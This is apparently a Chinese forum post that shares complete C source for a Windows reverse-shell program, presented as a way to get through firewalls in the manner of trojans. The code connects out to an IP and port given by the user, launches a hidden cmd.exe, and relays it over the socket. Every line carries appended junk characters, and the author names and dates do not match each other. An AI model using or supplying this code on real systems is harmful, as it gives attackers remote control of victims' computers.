这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &^@IAjxn
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/* ============================== BZ@v8y _TA
Rebound port in Windows NT cUM#|K#6
By wind,2006/7 Zj2tQ}N
===============================*/ QNCG^ub
#include v@
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#include _c6 zzGtH
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#pragma comment(lib,"wsock32.lib") >)S'`e4Gu
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void OutputShell(); Ix'GP7-m_
SOCKET sClient; 'C\knQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LQ=Fck~[r
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void main(int argc,char **argv) -xc'P,`
{ xm}`6B^f
WSADATA stWsaData; C$fQ[@
int nRet; fO$~jxR.
SOCKADDR_IN stSaiClient,stSaiServer; cLCzLNyKl
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if(argc != 3) [:C!g#o
{ `PvGfmYOl
printf("Useage:\n\rRebound DestIP DestPort\n"); ?u /i8
return; {
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} _K|513I
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WSAStartup(MAKEWORD(2,2),&stWsaData); pM7xnL4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B=J/HiwV)
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stSaiClient.sin_family = AF_INET; [P"R+$"
stSaiClient.sin_port = htons(0); Vch!&8xii
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h; sdm/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oFUP`p%[
{ (_O_zu8_
printf("Bind Socket Failed!\n"); 5T;,wQ<
return; cE0Kvqe`
} $2\k| @)s
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stSaiServer.sin_family = AF_INET; } ~#^FFe
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rJl'+Ae9N|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #y%?A;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) za@`,Yq
{ {BKr/) H
printf("Connect Error!"); ; 'J{ylRQ
return; J#'+&DH
} SgocHpyg
OutputShell(); obhq2sK
} 5UHxB"`C
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void OutputShell() <sq@[\l}a
{ SH5G
char szBuff[1024]; gKGM|0u|r
SECURITY_ATTRIBUTES stSecurityAttributes; 27Ve $Q8]v
OSVERSIONINFO stOsversionInfo; v
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sd~T
STARTUPINFO stStartupInfo; RW.
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char *szShell; /K]<7
PROCESS_INFORMATION stProcessInformation; -N[Q*;h|
unsigned long lBytesRead; `[5QouPV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +#! !
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); saaN$tU7
stSecurityAttributes.lpSecurityDescriptor = 0; 0jN?5j
stSecurityAttributes.bInheritHandle = TRUE; &u/T,jy`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qSWnv`hL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pZ4]oK\*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); va/$dD9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U3yIONlt
stStartupInfo.wShowWindow = SW_HIDE; /n SmGAO
stStartupInfo.hStdInput = hReadPipe; gnp\z/'>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *0`oFTJ
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GetVersionEx(&stOsversionInfo); z2QZ;ZjvRS
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switch(stOsversionInfo.dwPlatformId) a jCx"J
{ ^#4?v^QNh
case 1: ?#LbhO*
szShell = "command.com"; 4F+n`{~
break; DEw_dOJ(
default: NN9`jP2
szShell = "cmd.exe"; H `V3oS~}
break; ^3L6mOoA
} ^^I3%6UY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); ;ip"V 0`
while(1) iPxhDn<B
{ 3S'juHTe
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x`vIY-DS
if(lBytesRead) 6%B5hv24v
{ lll]FJ1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H0YxPk)
send(sClient,szBuff,lBytesRead,0); ='0f#>0Q
} #D$vH
else lnFOD+y9
{ eswsxJ/!
lBytesRead=recv(sClient,szBuff,1024,0); #w4=kWJ[
if(lBytesRead<=0) break; u,e(5LU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); btK| U
} ;y7V-sf
} _Z|s!~wdz
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return; i~dW)7
}